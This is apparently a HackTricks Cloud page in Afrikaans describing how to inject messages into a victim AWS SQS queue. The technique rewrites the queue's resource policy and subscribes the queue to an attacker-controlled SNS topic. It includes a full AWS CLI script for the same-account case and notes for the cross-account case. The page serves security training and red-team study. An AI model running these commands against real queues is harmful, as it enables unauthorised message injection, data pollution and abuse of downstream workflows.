AWS – SQS Kruis-/Dieselfde-rekening Injection deur SNS Subscription + Queue Policy
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Description
Misbruik ’n SQS queue resource policy om ’n aanvaller-beheerde SNS topic toe te laat om messages in ’n slagoffer se SQS queue te publiseer. In dieselfde rekening bevestig ’n SQS subscription na ’n SNS topic outomaties; in kruis-rekening moet jy die SubscriptionConfirmation token vanaf die queue lees en ConfirmSubscription aanroep. Dit maak message injection moontlik waarop downstream consumers moontlik impliciet vertrou.
Requirements
- Vermoë om die teiken SQS queue resource policy te wysig:
sqs:SetQueueAttributeson the victim queue. - Vermoë om ’n SNS topic onder aanvallerbeheer te skep/publiseer:
sns:CreateTopic,sns:Publish, andsns:Subscribeon the attacker account/topic. - Net kruis-rekening: tydelike
sqs:ReceiveMessageon the victim queue om die confirmation token te lees ensns:ConfirmSubscriptionaan te roep.
Same-account exploitation
REGION=us-east-1
# 1) Create victim queue and capture URL/ARN
Q_URL=$(aws sqs create-queue --queue-name ht-victim-q --region $REGION --query QueueUrl --output text)
Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
# 2) Create attacker SNS topic
TOPIC_ARN=$(aws sns create-topic --name ht-attacker-topic --region $REGION --query TopicArn --output text)
# 3) Allow that SNS topic to publish to the queue (queue resource policy)
cat > /tmp/ht-sqs-sns-policy.json <<JSON
{"Version":"2012-10-17","Statement":[{"Sid":"AllowSNSTopicPublish","Effect":"Allow","Principal":{"Service":"sns.amazonaws.com"},"Action":"SQS:SendMessage","Resource":"REPLACE_QUEUE_ARN","Condition":{"StringEquals":{"aws:SourceArn":"REPLACE_TOPIC_ARN"}}}]}
JSON
sed -i.bak "s#REPLACE_QUEUE_ARN#$Q_ARN#g; s#REPLACE_TOPIC_ARN#$TOPIC_ARN#g" /tmp/ht-sqs-sns-policy.json
# Provide the attribute as a JSON map so quoting works reliably
cat > /tmp/ht-attrs.json <<JSON
{
"Policy": "REPLACE_POLICY_JSON"
}
JSON
# Embed the policy file contents as a JSON string
POL_ESC=$(jq -Rs . /tmp/ht-sqs-sns-policy.json)
sed -i.bak "s#\"REPLACE_POLICY_JSON\"#$POL_ESC#g" /tmp/ht-attrs.json
aws sqs set-queue-attributes --queue-url "$Q_URL" --region $REGION --attributes file:///tmp/ht-attrs.json
# 4) Subscribe the queue to the topic (auto-confirms same-account)
aws sns subscribe --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoint "$Q_ARN" --region $REGION
# 5) Publish and verify injection
aws sns publish --topic-arn "$TOPIC_ARN" --message {pwn:sns->sqs} --region $REGION
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 10 --attribute-names All --message-attribute-names All
Kruis-rekening notas
- Die queue-beleid hierbo moet die buitelandse
TOPIC_ARN(attacker account) toelaat. - Subskripsies sal nie outomaties bevestig word nie. Gee jouself tydelike
sqs:ReceiveMessageop die victim queue om dieSubscriptionConfirmationboodskap te lees en roep dansns confirm-subscriptionmet syToken.
Impak
Potential Impact: Deurlopende ongevraagde boodskap-inspuiting in ’n vertroude SQS queue via SNS, wat moontlik onbedoelde verwerking, datavervuiling, of misbruik van werkvloei kan veroorsaak.
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks Cloud

